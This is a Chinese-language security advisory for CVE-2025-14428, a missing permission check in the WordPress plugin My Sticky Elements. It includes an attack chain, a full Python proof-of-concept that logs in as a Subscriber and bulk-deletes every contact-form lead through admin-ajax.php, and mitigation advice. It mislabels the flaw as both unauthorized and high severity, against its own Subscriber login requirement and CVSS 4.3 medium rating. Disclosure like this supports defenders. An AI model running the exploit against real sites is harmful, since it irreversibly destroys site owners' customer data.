IPBUF安全漏洞报告
English
CVE-2025-14428 CVSS 4.3 中危

CVE-2025-14428 WordPress My Sticky Elements插件未授权数据删除漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2025-14428
漏洞类型
缺少功能级访问控制
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
All-in-one Sticky Floating Contact Form, Call, Click to Chat, and 50+ Social Icon Tabs - My Sticky Elements (WordPress Plugin)

相关标签

缺少授权控制WordPress插件漏洞My Sticky Elements未授权数据删除CVE-2025-14428Broken Access ControlOWASP Top 10

漏洞概述

CVE-2025-14428是WordPress插件My Sticky Elements中的一个高危安全漏洞。该插件是一款流行的粘性浮动联系表单、点击通话、聊天按钮及50多个社交图标标签的综合性工具。漏洞源于插件在2.3.3及以下版本中,对my_sticky_elements_bulks函数缺少适当的权限验证机制。攻击者只需拥有WordPress网站的订阅者(Subscriber)级别账户,即可利用此漏洞无需任何管理员权限即可删除所有联系表单收集的客户线索数据。此漏洞可能导致企业重要的客户联系信息、销售线索和支持请求记录被完全清除,对业务运营造成严重影响。由于漏洞利用无需复杂技术手段,且攻击可通过网络远程执行,对大量使用该插件的WordPress网站构成普遍威胁。

技术细节

该漏洞属于OWASP Top 10 2021中的A01:2021-Broken Access Control类别。具体问题在于my_sticky_elements_bulks函数在处理批量删除操作时,未验证当前用户是否具有执行删除操作的必要权限。在WordPress权限体系中,订阅者(Subscriber)角色默认仅具有阅读内容的最低权限,不应具备删除业务数据的权力。然而由于缺少current_user_can()或同等权限检查函数,插件直接执行了删除数据库中wp_mystickyelements_leads表的操作。攻击者可通过构造恶意HTTP POST请求,指定action参数为my_sticky_elements_bulk_delete,即可触发批量删除所有联系表单线索的逻辑。漏洞代码位置位于mystickyelements-admin.php文件的bulk操作处理部分,攻击者可利用/wp-admin/admin-ajax.php端点或直接POST到管理面板触发漏洞。修复版本需要在该函数入口处添加类似if(!current_user_can('manage_options')) wp_die();的权限验证代码。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的订阅者(Subscriber)账户凭据或通过注册功能创建订阅者账户
STEP 2
步骤2
攻击者使用凭据登录WordPress,获取有效的认证会话Cookie
STEP 3
步骤3
攻击者构造恶意HTTP POST请求到/wp-admin/admin-ajax.php或管理面板,action参数设置为my_sticky_elements_bulk_delete
STEP 4
步骤4
由于my_sticky_elements_bulks函数缺少current_user_can()权限验证,服务器直接执行删除操作
STEP 5
步骤5
插件执行批量删除SQL操作,从wp_mystickyelements_leads表中清除所有联系表单线索数据
STEP 6
步骤6
攻击者成功删除所有客户联系信息、销售线索和支持请求记录,造成数据不可恢复的损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14428 PoC - WordPress My Sticky Elements Unauthorized Data Deletion # Authenticated attackers with Subscriber role can delete all contact form leads import requests import sys def exploit_cve_2025_14428(target_url, username, password): """ Exploit for CVE-2025-14428: Missing authorization in My Sticky Elements plugin Allows authenticated users (Subscriber+) to delete all contact form leads """ session = requests.Session() # Step 1: Login to WordPress as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Exploit the missing capability check to delete all leads # The vulnerable function my_sticky_elements_bulks doesn't check user capabilities exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'my_sticky_elements_bulk_delete', 'ids': 'all' # Delete all leads } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print("[+] Exploit sent - all contact form leads may be deleted") print(f"[*] Response: {resp.text}") return True else: print(f"[-] Exploit failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py https://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_14428(target, user, pwd)

影响范围

My Sticky Elements WordPress Plugin <= 2.3.3

防御指南

临时缓解措施
立即将My Sticky Elements插件升级到2.3.4或最新版本。在等待更新期间,可临时禁用插件或使用Web应用防火墙(WAF)规则阻止针对my_sticky_elements_bulk_delete action的请求,同时审查并删除所有可疑的低权限账户。建议管理员检查wp_mystickyelements_leads表确认是否已有数据被删除,并从备份中恢复丢失的数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表